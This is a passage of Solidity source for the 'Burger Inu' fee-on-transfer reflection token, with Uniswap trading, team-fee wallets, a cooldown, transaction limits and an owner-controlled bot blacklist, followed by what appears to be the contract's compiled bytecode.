function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BurgerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "https://t.me/burgerinu | Burger Inu";
string private constant _symbol = 'BURGER';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073a565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610758565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610769565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610842565b005b34801561033357600080fd5b5061033c610965565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061096e565b005b34801561039e57600080fd5b506103a7610a53565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac5565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bb0565b005b34801561043157600080fd5b5061043a610d36565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9c565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dba565b005b34801561063857600080fd5b50610641610f0a565b005b34801561064f57600080fd5b50610658610f84565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b81019080803590602001909291905050506115f2565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117a1565b6040518082815260200191505060405180910390f35b6060604051806060016040528060238152602001613e1360239139905090565b600061074e610747611828565b8484611830565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610776848484611a27565b61083784610782611828565b61083285604051806060016040528060288152602001613d7960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e8611828565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122eb9092919063ffffffff16565b611830565b600190509392505050565b61084a611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610976611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a94611828565b73ffffffffffffffffffffffffffffffffffffffff1614610ab457600080fd5b6000479050610ac2816123ab565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b6057600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bab565b610ba8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a6565b90505b919050565b610bb8611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4255524745520000000000000000000000000000000000000000000000000000815250905090565b6000610db0610da9611828565b8484611a27565b6001905092915050565b610dc2611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f0657600160076000848481518110610ea057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e85565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4b611828565b73ffffffffffffffffffffffffffffffffffffffff1614610f6b57600080fd5b6000610f7630610ac5565b9050610f818161252a565b50565b610f8c611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061115f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611830565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a557600080fd5b505afa1580156111b9573d6000803e3d6000fd5b505050506040513d60208110156111cf57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561124257600080fd5b505afa158015611256573d6000803e3d6000fd5b505050506040513d602081101561126c57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156112e657600080fd5b505af11580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113aa30610ac5565b6000806113b5610d36565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50505050506040513d606081101561146557600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115b357600080fd5b505af11580156115c7573d6000803e3d6000fd5b505050506040513d60208110156115dd57600080fd5b81019080805190602001909291905050505050565b6115fa611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61175f606461175183683635c9adc5dea0000061281490919063ffffffff16565b61289a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613def6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d366022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613dca6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ce96023913960400191505060405180910390fd5b60008111611b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613da16029913960400191505060405180910390fd5b611b94610d36565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c025750611bd2610d36565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561222857601360179054906101000a900460ff1615611e68573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c8457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d385750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e6757601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d7e611828565b73ffffffffffffffffffffffffffffffffffffffff161480611df45750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ddc611828565b73ffffffffffffffffffffffffffffffffffffffff16145b611e66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f5857601454811115611eaa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f4e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5757600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120035750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120715750601360179054906101000a900460ff165b156121095742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120c157600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061211430610ac5565b9050601360159054906101000a900460ff161580156121815750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121995750601360169054906101000a900460ff165b1561222657601360179054906101000a900460ff1615612203576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061220257600080fd5b5b61220c8161252a565b6000479050600081111561222457612223476123ab565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122cf5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122d957600090505b6122e5848484846128e4565b50505050565b6000838311158290612398576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561235d578082015181840152602081019050612342565b50505050905090810190601f16801561238a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123fb60028461289a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612426573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247760028461289a90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124a2573d6000803e3d6000fd5b5050565b6000600a54821115612503576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d0c602a913960400191505060405180910390fd5b600061250d612b3b565b9050612522818461289a90919063ffffffff16565b915050919050565b